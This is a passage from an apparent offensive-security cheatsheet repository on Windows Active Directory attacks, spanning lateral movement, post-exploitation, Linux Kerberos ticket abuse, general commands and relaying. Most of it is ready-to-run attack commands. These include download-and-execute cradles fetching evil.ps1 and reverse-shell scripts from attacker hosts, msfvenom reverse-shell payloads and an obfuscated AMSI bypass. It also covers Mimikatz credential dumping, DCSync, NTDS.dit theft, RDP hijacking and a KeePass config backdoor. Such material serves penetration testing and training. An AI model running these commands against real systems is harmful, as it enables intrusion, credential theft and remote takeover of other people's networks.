``` 286 | 287 | - If the admin mode is disabled 288 | ``` 289 | Enter-PSSession -Computername 290 | New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force 291 | ``` 292 | 293 | #### Hijack RDP session 294 | ``` 295 | query user 296 | sc.exe create rdphijack binpath="cmd.exe /c tscon /dest:" 297 | net start rdphijack 298 | sc.exe delete rdphijack 299 | ``` 300 | 301 | #### Accessing RDP credentials 302 | - Complicated have to access ECPPTX again and try it out 303 | 304 | ### ChangeServiceConfigA 305 | - https://github.com/SpiderLabs/SCShell 306 | - Uses DCERPC instead of SMB 307 | 308 | ``` 309 | SCShell.exe XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\refsvr32.exe /s /n /u /i:///payload.sct scrobj.ddl" . 310 | SCShell.py 311 | ``` 312 | 313 | ### WinRM 314 | - Uses WMI over HTTPS (P 5985 and 5986) 315 | - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/winrs 316 | - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-6 317 | - https://github.com/Hackplayers/evil-winrm 318 | - https://github.com/bohops/WSMan-WinRM 319 | 320 | ### DCOM 321 | - https://github.com/SecureAuthCorp/impacket dcom.exec.py 322 | - https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 323 | 324 | ### Named Pipes 325 | - https://github.com/nettitude/PoshC2/blob/master/resources/modules/Invoke-Pbind.ps1 326 | 327 | ``` 328 | Invoke-Pbing -Target -Domain -User -Password 329 | ``` 330 | 331 | ### Powershell Web access 332 | - PSWA runs on port 443 on ```/pswa``` 333 | 334 | #### Install Powershel web access on target 335 | ``` 336 | Install-WindowsFeature -Name WindowsPowerShellWebAccess 337 | Instal-PswaWebApplication -useTestCertificate 338 | Add-PswaAuthorizationRule -Username -Computername -ConfigurationName 339 | 340 | # Allow everyone (Still requires localadmin on target server) 341 | Add-PswaAuthorizationRule -Username * -Computername * -ConfigurationName * 342 | ``` 343 | 344 | #### Access PSWA 345 | - Go to ```https:///pswa``` and then login using ```/``` 346 | 347 | ### NTLM Relaying 348 | - https://github.com/lgandx/Responder 349 | - https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py 350 | 351 | #### Crackmapexec list hosts with SMB signed disabled 352 | ``` 353 | crackmapexec smb --gen-relay-list 354 | ``` 355 | 356 | - Edit Responder config file to disable HTTP server and SMB server 357 | 358 | #### Run NTLM Relay 359 | ``` 360 | ntlmrelay.py -t -c 'powershell.exe iex (New-Object.Net.Webclient).Downloadstring(\"http:///Invoke-PowerShellTcp.ps1\")"' -smb2support 361 | ``` 362 | 363 | #### Run Responder 364 | ``` 365 | responder -I -v 366 | ``` 367 | 368 | #### Usefull payloads 369 | ``` 370 | # Meterpreter ps1 rev shell 371 | msfvenom -p windows/x64/meterpreter_reverse_https -f psh -o msf.ps1 lhost= lport= exitfunc=thread 372 | 373 | # Meterpreter bind tcp executable 374 | msfvenom -p windows/x64/meterpreter/bind_tcp LHOST= LPORT= -f exe -o bind_tcp.exe 375 | 376 | # Meterpreter reverse tcp executable 377 | Msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe 378 | 379 | # Bat file to run reverse powershell 380 | msfvenom -p cmd/windows/reverse_powershell LHOST= LPORT= > attach.bat 381 | ``` 382 | 383 | #### Reverse.bat 384 | ``` 385 | powershell.exe -c "iex (New-Object Net.WebClient).DownloadString('http:///amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp2.ps1')" 386 | ``` 387 | 388 | -------------------------------------------------------------------------------- /windows-ad/Post-Exploitation.md: -------------------------------------------------------------------------------- 1 | # Post-Exploitation 2 | 3 | * [General](#General) 4 | * [Find credentials in files](#Find-credentials-in-files) 5 | * [Dumping LSASS](#Dumping-LSASS) 6 | * [Dumping SAM](#Dumping-SAM) 7 | * [Mimikatz](#Mimikatz) 8 | * [Rubeus](#Rubeus) 9 | * [DC-Sync](#DC-Sync) 10 | * [Shadowcopy](#Shadowcopy) 11 | * [Token manipulation](#Token-manipulation) 12 | * [DPAPI](#DPAPI) 13 | * [KeePass](#KeePass) 14 | 15 | ## General 16 | 17 | ## Find credentials in files 18 | #### Look for SAM files 19 | ``` 20 | Get-ChildItem -path C:\Windows\Repair\* -include *.SAM*,*.SYSTEM* -force -Recurse 21 | Get-ChildItem -path C:\Windows\System32\config\RegBack\* -include *.SAM*,*.SYSTEM* -force -Recurse 22 | Get-ChildItem -path C:\* -include *.SAM*,*.SYSTEM* -force -Recurse 23 | ``` 24 | 25 | #### Check registery for passwords 26 | ``` 27 | reg query HKLM /f password /t REG_SZ /s 28 | reg query HKCU /f password /t REG_SZ /s 29 | ``` 30 | 31 | #### Find autologon credentials registery key 32 | ``` 33 | Get-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\WinLogon" -Name "DefaultPassword" 34 | ``` 35 | 36 | #### Look for unattend and sysprep files 37 | ``` 38 | Get-ChildItem -path C:\* -Recurse -Include *Unattend.xml* 39 | Get-ChildItem -path C:\Windows\Panther\* -Recurse -Include *Unattend.xml* 40 | Get-ChildItem -path C:\Windows\system32\* -Recurse -Include *sysgrep.xml*, *sysgrep.inf* 41 | Get-ChildItem -path C:\* -Recurse -Include *Unattend.xml*, *sysgrep.xml*, *sysgrep.inf* 42 | ``` 43 | 44 | #### Get powershell history path and cat history 45 | ``` 46 | Get-PSReadlineOption 47 | cat 48 | ``` 49 | 50 | #### Look for powershell history files 51 | ``` 52 | Get-Childitem -Path C:\Users\* -Force -Include *ConsoleHost_history* -Recurse -ErrorAction SilentlyContinue 53 | ``` 54 | 55 | #### Look for hardcoded passwords in scripts 56 | ``` 57 | Get-ChildItem -path C:\* -Recurse -Include *.xml,*.ps1,*.bat,*.txt | Select-String "password"| Export-Csv C:\Scripts\Report.csv -NoTypeInformation 58 | Get-ChildItem -path C:\* -Recurse -Include *.xml,*.ps1,*.bat,*.txt | Select-String "creds"| Export-Csv C:\Scripts\Report.csv -NoTypeInformation 59 | ``` 60 | 61 | #### Check for Azure tokens 62 | ``` 63 | Get-ChildItem -path "C:\Users\*" -Recurse -Include *accessTokens.json*, *TokenCache.dat*, *AzureRmContext.json* 64 | ``` 65 | 66 | #### Dump password vault 67 | ``` 68 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] 69 | $vault = New-Object Windows.Security.Credentials.PasswordVault 70 | $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } 71 | ``` 72 | 73 | ## Dumping LSASS 74 | #### Crackmapexec 75 | ``` 76 | cme smb -d -u -H --lsa 77 | cme smb -d -u -H -M lsassy 78 | ``` 79 | 80 | #### DumpCreds 81 | ``` 82 | Invoke-MimiKatz -DumpCreds 83 | ``` 84 | 85 | #### Dump credentials on a local machine using Mimikatz. 86 | ``` 87 | Invoke-Mimikatz -Command '"sekurlsa::ekeys"' 88 | ``` 89 | 90 | #### Using SafetyKatz (Minidump of lsass and PELoader to run Mimikatz) 91 | ``` 92 | SafetyKatz.exe "sekurlsa::ekeys" 93 | ``` 94 | 95 | #### Dump credentials Using SharpKatz (C# port of some of Mimikatz functionality). 96 | ``` 97 | SharpKatz.exe --Command ekeys 98 | ``` 99 | 100 | #### Dump credentials using Dumpert (Direct System Calls and API unhooking) 101 | ``` 102 | rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump 103 | ``` 104 | 105 | #### Using pypykatz (Mimikatz functionality in Python) 106 | ``` 107 | pypykatz.exe live lsa 108 | ``` 109 | 110 | #### Use task manager 111 | - Find lsass process in details tab 112 | - Right click and select create dump file 113 | 114 | ### Manually 115 | ``` 116 | Get-Process lsass 117 | rundll32.exe C:\windows\System32\comsvc.dll, MiniDump C:\Users\lsass.dmp full 118 | mimikatz.exe 119 | mimikatz # sekurlsa::minidump lsass.dmp 120 | mimikatz # sekurlsa::logonPasswords full 121 | ``` 122 | 123 | ## Dumping SAM 124 | #### Crackmapexec 125 | ``` 126 | cme smb -d -u -H --lsa 127 | cme smb -d -u -H -M lsassy 128 | ``` 129 | 130 | #### Mimikatz dump SAM 131 | ``` 132 | Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"' 133 | ``` 134 | 135 | #### Manually 136 | ``` 137 | reg save HKLM\SAM SamBkup.hiv 138 | reg save HKLM\System SystemBkup.hiv 139 | 140 | mimikatz.exe 141 | mimikatz # lsadump::sam SamBkup.hiv SystemBkup.hiv 142 | ``` 143 | 144 | ## Mimikatz 145 | - Check out https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md for more commands 146 | 147 | #### Mimikatz dump credentials on local machine 148 | ``` 149 | Invoke-Mimikatz -Dumpcreds 150 | ``` 151 | 152 | #### Mimikatz dump credentials on multiple remote machines 153 | ``` 154 | Invoke-Mimikatz -Dumpcreds -ComputerName @("","") 155 | ``` 156 | 157 | #### Mimikatz dump certs 158 | ``` 159 | Invoke-Mimikatz –DumpCerts 160 | ``` 161 | 162 | #### Mimikatz dump vault 163 | ``` 164 | Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "vault::cred /patch" "vault::list"' 165 | ``` 166 | 167 | #### Mimikatz dump all to find privs 168 | ``` 169 | Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "sekurlsa::tickets /export" "kerberos::list /export" "vault::cred /patch" "vault::list" "lsadump::sam" "lsadump::secrets" "lsadump::cache"' 170 | ``` 171 | 172 | ## Rubeus 173 | #### Dump tickets 174 | ``` 175 | ./Rubeus.exe triage 176 | ./Rubeus.exe dump /luid: /service: /nowrap 177 | ``` 178 | 179 | #### Save ticket to file 180 | ``` 181 | [System.IO.File]::WriteAllBytes("C:\Users\public\ticket.kirbi", [System.Convert]::FromBase64String("")) 182 | ``` 183 | 184 | #### Get info on ticket 185 | ``` 186 | ./Rubeus.exe describe /ticket: 187 | ``` 188 | 189 | #### Load Ticket into memory 190 | ``` 191 | .\Rubeus.exe /ticket: 192 | .\Rubeus.exe /ticket: 193 | ``` 194 | 195 | #### Calc hash 196 | ``` 197 | .\Rubeus.exe hash /password: /user: /domain: 198 | ``` 199 | 200 | ## DC Sync 201 | - Extract creds from the DC without code execution using DA privileges. 202 | 203 | #### Mimikatz DCSync attack specific user 204 | ``` 205 | Invoke-Mimikatz -Command '"lsadump::dcsync /user: /domain:"' 206 | ``` 207 | 208 | #### Mimikatz DCSync attack everything 209 | ``` 210 | Invoke-Mimikatz -Command '"lsadump::dcsync /all"' 211 | ``` 212 | 213 | #### Safetykatz.exe 214 | ``` 215 | SafetyKatz.exe "lsadump::dcsync /user:\" "exit" 216 | ``` 217 | 218 | ## Shadowcopy 219 | #### Create shadowcopy of the C:\ drive 220 | ``` 221 | wmic /node: /user:@ /password:'' process call create "cmd /c vssadmin create shadow /for=C: 2>&1" 222 | ``` 223 | 224 | #### Copy the NTDS.dit, SYSTEM and SECURITY hives 225 | ``` 226 | wmic /node: /user:@ /password:'' process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\" 227 | ``` 228 | 229 | #### Mount the C:\temp drive 230 | ``` 231 | $creds = Get-Credential 232 | New-PSDrive -Credential $creds -Name j \\\c$\temp -PSProvider FileSystem 233 | ``` 234 | 235 | #### Extract credentials 236 | ``` 237 | python3 /opt/impacket/examples/secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit local 238 | ``` 239 | 240 | ## Token manipulation 241 | - https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1 242 | 243 | #### List all tokens on a machine 244 | ``` 245 | Invoke-TokenManipulation –ShowAll 246 | ``` 247 | 248 | #### List all unique, usable tokens on the machine 249 | ``` 250 | Invoke-TokenManipulation -Enumerate 251 | ``` 252 | 253 | #### Start a new process with token of a specific user 254 | ``` 255 | Invoke-TokenManipulation -ImpersonateUser -Username "domain\user" 256 | ``` 257 | 258 | #### Start news process with token of another process 259 | ``` 260 | Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500 261 | ``` 262 | 263 | ## Get the wifi password 264 | ### Get saved wifi networks 265 | ``` 266 | netsh wlan show profiles 267 | ``` 268 | 269 | #### Get key from saved wifi network 270 | ``` 271 | netsh wlan show profiles name= key=clear 272 | ``` 273 | 274 | ## DPAPI 275 | - https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ 276 | 277 | ### DonPAPI 278 | - https://github.com/login-securite/DonPAPI 279 | - DonPAPI can remotely read lsass,sam,dpapi etc. Requires local admin access. 280 | - Place creds in file and use ```-credz``` flag. 281 | - Also possible to set a list of hosts! 282 | 283 | #### Read creds with credz.txt 284 | ``` 285 | python3 DonPAPI.py -credz credz.txt /:@ 286 | ``` 287 | 288 | #### Retrieve backup key with DA 289 | ``` 290 | dpapi.py backupkeys --export -t /:@ 291 | ``` 292 | 293 | #### Read all creds with backup key 294 | ``` 295 | python3 DonPAPI.py -pvk domain_backupkey.pvk /:@ 296 | ``` 297 | 298 | ### Credential manager 299 | #### Dump vault for current user 300 | ``` 301 | run vaultcmd /listcreds:"Windows Credentials" /all 302 | Invoke-Mimikatz -Command '"vault::list"' 303 | ``` 304 | #### Check for blobs for user 305 | - Can be in Roaming or Local for all commands! 306 | ``` 307 | ls C:\Users\\AppData\Local\Microsoft\Credentials -Hidden 308 | ls C:\Users\\AppData\Roaming\Microsoft\Credentials -Hidden 309 | ``` 310 | 311 | #### Find master encryption key ID 312 | - The ```pbData``` field contains the encrypted data and the ```guidMasterKey``` contains the GUID of the key needed to decrypt it. 313 | ``` 314 | Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\"' 315 | ls C:\Users\\AppData\Roaming\Microsoft\Protect\ -Hidden 316 | ``` 317 | 318 | #### Get master encryption key 319 | ``` 320 | Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\\AppData\Roaming\Microsoft\Protect\\ /rpc" 321 | ``` 322 | 323 | #### Get master encryption keys from memory 324 | ``` 325 | Invoke-Mimikatz -Command '"sekurlsa::dpapi"' 326 | ``` 327 | 328 | #### Get MasterKey with User's Password 329 | ``` 330 | Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\\AppData\Roaming\Microsoft\Protect\\ /sid: /password: /protected 331 | ``` 332 | 333 | #### Decrypt credential 334 | ``` 335 | Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Roaming\Microsoft\Credentials\ /masterkey:"' 336 | ``` 337 | 338 | ### Chrome 339 | #### List SQLlite database 340 | - A non-null Login Data file is a good indication that credentials are saved in here 341 | ``` 342 | ls C:\Users\\AppData\Local\Google\Chrome\User Data\Default 343 | ``` 344 | 345 | #### Decrypt data 346 | - https://github.com/djhohnstein/SharpChromium 347 | ``` 348 | .\SharpChromium.exe logins 349 | ``` 350 | 351 | ## KeePass 352 | - https://github.com/GhostPack/KeeThief 353 | #### Enumeration 354 | ``` 355 | type %APPDATA%\KeePass\KeePass.config.xml 356 | tasklist | findstr /I keepass 357 | dir /s "C:/" | findstr "KeePass" 358 | Get-Process keepass 359 | ``` 360 | 361 | #### Dump KeePass Masterkey 362 | ``` 363 | Get-KeePassDatabaseKey -Verbose 364 | ``` 365 | 366 | #### Create backdoor in config 367 | ``` 368 | Find-KeePassconfig -Path $env:appdata\KeePass 369 | Get-KeePassConfigTrigger -Path $env:appdata\KeePass\KeePass.config.xml -Verbose 370 | Add-KeePassConfigTrigger -Path $env:appdata\KeePass\KeePass.config.xml -Verbose -ExportPath C:\users\public\ 371 | ``` 372 | 373 | #### Guess master password 374 | - Remove the username 375 | ``` 376 | keepass2john Passwords.kdbx > hash.txt 377 | hashcat -m 13400 -a 0 hash.txt rockyou.txt -r dive.rule 378 | ``` 379 | 380 | ## Putty ppk file 381 | ``` 382 | sudo apt install putty-tools 383 | puttygen privkey.ppk -O private-openssh -o priv_key 384 | proxychains ssh -i priv_key @ 385 | ``` 386 | -------------------------------------------------------------------------------- /windows-ad/linux_ad.md: -------------------------------------------------------------------------------- 1 | # Linux Active Directory 2 | 3 | ## Enumeration 4 | #### Check if Linux host is AD Joined 5 | - Check for file ```krb5.conf``` 6 | ``` 7 | ls -lsa /etc/krb5.conf 8 | cat /etc/krb5.conf 9 | ``` 10 | 11 | #### Check for keytab files 12 | - And check who can acces the keytab files 13 | - A keytab is a file containing pairs of Kerberos principals and encrypted keys that are derived from the Kerberos password. The most common use of keytab files is to allow scripts to authenticate to Kerberos without human interaction or without storing the password in a plain text file. 14 | ``` 15 | ls -lsa /etc/krb5.keytab 16 | 17 | find / -name *.keytab* 18 | ls -lsa 19 | ``` 20 | 21 | #### Check for ticket files 22 | - Are normally stored in ```/tmp``` 23 | - Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. 24 | - To find the location where they are stored check the config file ```/etc/krb5.conf``` 25 | ``` 26 | ls /tmp/ | grep krb5cc 27 | ``` 28 | 29 | #### Kernel Keys 30 | - If tickets aren't saved in files they are saved in Linux Kernel Keys 31 | - Can use https://github.com/TarlogicSecurity/tickey to convert them to files 32 | 33 | ## Reusing and abusing ccache and keytabs 34 | ### CCACHE ticket reuse from /tmp 35 | - When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in ```/tmp``` and scoped with 600 permissions 36 | 37 | #### List the current ticket used for authentication 38 | ``` 39 | env | grep KRB5CCNAME 40 | ```` 41 | 42 | #### Reuuse ticket 43 | ``` 44 | export KRB5CCNAME=/tmp/ticket.ccache 45 | ``` 46 | 47 | ### Convert ccache to kirbi 48 | ``` 49 | impacket-ticketConverter krb5cc_ 50 | ``` 51 | 52 | ### CCACHE ticket reuse from Kernel Keys 53 | - Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey 54 | ``` 55 | # Configuration and build 56 | git clone https://github.com/TarlogicSecurity/tickey 57 | cd tickey/tickey 58 | make CONF=Release 59 | 60 | [root@Lab-LSV01 /]# /tmp/tickey -i 61 | [*] krb5 ccache_name = KEYRING:session:sess_%{uid} 62 | [+] root detected, so... DUMP ALL THE TICKETS!! 63 | [*] Trying to inject in tarlogic[1000] session... 64 | [+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache 65 | [*] Trying to inject in velociraptor[1120601115] session... 66 | [+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache 67 | [*] Trying to inject in trex[1120601113] session... 68 | [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache 69 | [X] [uid:0] Error retrieving tickets 70 | ``` 71 | 72 | ### CCACHE ticket reuse from SSSD KCM 73 | - https://github.com/fireeye/SSSDKCMExtractor 74 | - SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. 75 | - The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. 76 | - By default, the key is only readable if you have **root** permissions. 77 | - Invoking `SSSDKCMExtractor` with the --database and --key parameters will parse the database and decrypt the secrets. 78 | ``` 79 | python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey 80 | ``` 81 | 82 | - The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus. 83 | 84 | 85 | ### CCACHE ticket reuse from keytab 86 | - https://github.com/its-a-feature/KeytabParser 87 | ``` 88 | python KeytabParser.py /etc/krb5.keytab 89 | klist -k /etc/krb5.keytab 90 | ``` 91 | 92 | #### Manually use keytab file 93 | - Request CIFS TGS to abuse it with secretsdump or psexec on attacking machine 94 | ``` 95 | kinit -k -t 96 | kvno CIFS/\ 97 | klist 98 | base64 99 | 100 | # ON ATTACKER MACHINE 101 | echo "" | base64 -d > ticket.ccache 102 | export KRB5CCNAME=ticket.ccache 103 | python3 psexec -k -no-pass 104 | ``` 105 | 106 | 107 | ### Extract accounts from /etc/krb5.keytab 108 | - The service keys used by services that run as root are usually stored in the keytab file ```/etc/krb5.keytab```. This service key is the equivalent of the service's password, and must be kept secure. 109 | 110 | Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual NT Hash of the user. 111 | 112 | ``` 113 | $ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab 114 | [...] 115 | [26] Service principal: host/COMPUTER@DOMAIN 116 | KVNO: 25 117 | Key type: 23 118 | Key: 31d6cfe0d16ae931b73c59d7e0c089c0 119 | Time stamp: Oct 07, 2019 09:12:02 120 | [...] 121 | ``` 122 | 123 | #### KeytabExtract 124 | - On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash. 125 | 126 | ``` 127 | python3 keytabextract.py krb5.keytab 128 | [!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck 129 | [+] Keytab File successfully imported. 130 | REALM : DOMAIN 131 | SERVICE PRINCIPAL : host/computer.domain 132 | NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky 133 | ``` 134 | 135 | #### Connect to the machine with CME. 136 | ``` 137 | crackmapexec -u '' -H "" -d 138 | ``` 139 | -------------------------------------------------------------------------------- /windows-ad/readme.md: -------------------------------------------------------------------------------- 1 | # Windows-Domain-Cheatsheet 2 | 3 | # Index 4 | * [General](#General) 5 | * [Initial Access](Initial-Access.md) 6 | * [Host Reconnaissance](Host-Reconnaissance.md) 7 | * [Host Persistence](Host-Persistence.md) 8 | * [Evasion](Evasion.md) 9 | * [Local privilege escalation](../infrastructure/privesc_windows.md) 10 | * [Post-Exploitation](Post-Exploitation.md) 11 | * [Lateral Movement](Lateral-Movement.md) 12 | * [Domain Enumeration](Domain-Enumeration.md) 13 | * [Domain Privilege Escalation](Domain-Privilege-Escalation.md) 14 | * [Domain Persistence](Domain-Persistence.md) 15 | 16 | # General 17 | ## Good links 18 | - https://cybersecuritynews.com/active-directory-checklist/ 19 | 20 | ## Commands 21 | #### Access C disk of a computer (check local admin) 22 | ``` 23 | ls \\\c$ 24 | ``` 25 | 26 | #### Use this parameter to not print errors powershell 27 | ``` 28 | -ErrorAction SilentlyContinue 29 | ``` 30 | 31 | #### Rename powershell windows 32 | ``` 33 | $host.ui.RawUI.WindowTitle = "" 34 | ``` 35 | 36 | #### Save Credentials 37 | ``` 38 | $creds = get-credential 39 | 40 | $password = ConvertTo-SecureString '' -AsPlainText -Force 41 | $creds = New-Object System.Management.Automation.PSCredential('', $password) 42 | ``` 43 | 44 | #### Find a specific file 45 | ``` 46 | Get-Childitem -Path C:\ -Force -Include -Recurse -ErrorAction SilentlyContinue 47 | ``` 48 | 49 | #### Check access to a file 50 | ``` 51 | $test = get-acl 52 | $test.Access 53 | ``` 54 | 55 | #### Crackmapexec on windows 56 | - Download cme https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.1.1dev 57 | - Download latest version of python3.8 standalone (Windows embeddable package (64-bit)) https://www.python.org/downloads/windows/ 58 | 59 | ``` 60 | #add python to path variable: 61 | $env:Path += ";c:\python" 62 | $env:Path += ";c:\tools\python" 63 | 64 | #add the register key if error blablah\DemoDLL_RemoteProcess.vcxproj.filters 65 | REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem" /v LongPathsEnabled /t REG_DWORD /d 1 /f 66 | 67 | #add the registery key for colors 68 | REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 69 | ``` 70 | 71 | #### Change tickets .kirbi to .ccache and vice versa 72 | ``` 73 | python3 ticketConverter.py Administrator.kirbi Administrator.ccache 74 | ```` 75 | 76 | #### Use tickets with impacket 77 | ``` 78 | export KRB5CCNAME= 79 | python3 script.py -k -no-pass 80 | 81 | python3 psexec.py /@ -k -no-pass 82 | python3 smbexec.py /@ -k -no-pass 83 | python3 wmiexec.py /@ -k -no-pass 84 | ``` 85 | 86 | #### Example impacket Domain Trust ticket 87 | ``` 88 | python3 /opt/impacket/examples/psexec.py -dc-ip /Administrator@ -k -no-pass -debug 89 | ``` 90 | 91 | #### AMSI Bypass 92 | - https://amsi.fail/ 93 | - Then obfuscate with https://github.com/danielbohannon/Invoke-Obfuscation 94 | ``` 95 | S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) 96 | ``` 97 | 98 | ``` 99 | Invoke-Command -Scriptblock {S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )} $sess 100 | ``` 101 | 102 | #### Download and execute cradle 103 | - Usefull tool: https://github.com/danielbohannon/Invoke-CradleCrafter 104 | ``` 105 | iex (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/payload.ps1') 106 | 107 | $ie=New-Object -ComObjectInternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://xx.xx.xx.xx/evil.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response 108 | 109 | #PSv3 onwards 110 | 111 | iex (iwr 'http://xx.xx.xx.xx/evil.ps1') 112 | 113 | $h=New-Object -ComObject 114 | Msxml2.XMLHTTP;$h.open('GET','http://xx.xx.xx.xx/evil.ps1',$false);$h.send();iex 115 | $h.responseText 116 | 117 | $wr = [System.NET.WebRequest]::Create("http://xx.xx.xx.xx/evil.ps1") 118 | $r = $wr.GetResponse() 119 | IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd() 120 | ``` 121 | 122 | ### Add user to local admin and RDP group and enable RDP on firewall 123 | ``` 124 | net user /add /Y && net localgroup administrators /add && net localgroup "Remote Desktop Users" /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group="remote desktop" new enable=Yes 125 | ``` 126 | 127 | 128 | -------------------------------------------------------------------------------- /windows-ad/relaying.md: -------------------------------------------------------------------------------- 1 | ## Relaying attacks 2 | * [Poisoning](#Poisoning) 3 | * [Responder](#Responder) 4 | * [Mitm6](#Mitm6) 5 | * [Files](#Files) 6 | * [Force-authentication](#Force-authentication) 7 | * [Relaying](#Relaying) 8 | * [SMB relaying](#SMB-relaying) 9 | * [LDAP Relaying](#LDAP-Relaying) 10 | * [LDAP Relay force HTTP requests](#LDAP-Relay-force-HTTP-requests) 11 | * [LDAP Relay with Mitm6](#LDAP-Relay-with-Mitm6) 12 | * [LDAPS Relaying](#LDAPS-Relaying) 13 | * [Resource Based Constrained Delegation Webclient Attack](#Resource-Based-Constrained-Delegation-Webclient-Attack) 14 | * [Crack with Hashcat](#Crack-with-Hashcat) 15 | 16 | - Credits to an amazing post: https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/ 17 | 18 | ## Poisoning 19 | - Poisoning is possible with Responder, which will try to poison Link Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS). 20 | 21 | ### Responder 22 | #### Check if LLMNR and NBT-NS is used 23 | - It is possible to check if LLMNR and NBT-NS is used without poisoning any request. 24 | - Use ```-A``` for analyze mode. 25 | ``` 26 | sudo responder -I eth0 -A 27 | ``` 28 | 29 | #### Poison Requests 30 | - Poison Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS) requests. 31 | ``` 32 | sudo responder -I eth0 33 | ``` 34 | 35 | ### Mitm6 36 | - https://github.com/dirkjanm/mitm6 37 | - In modern Windows operating systems, IPv6 is enabled by default. This means that systems periodically poll for an IPv6 lease, as IPv6 is a newer protocol than IPv4, and Microsoft decided it was a good idea to give IPv6 precedence over IPv4. 38 | - However, in the vast majority of 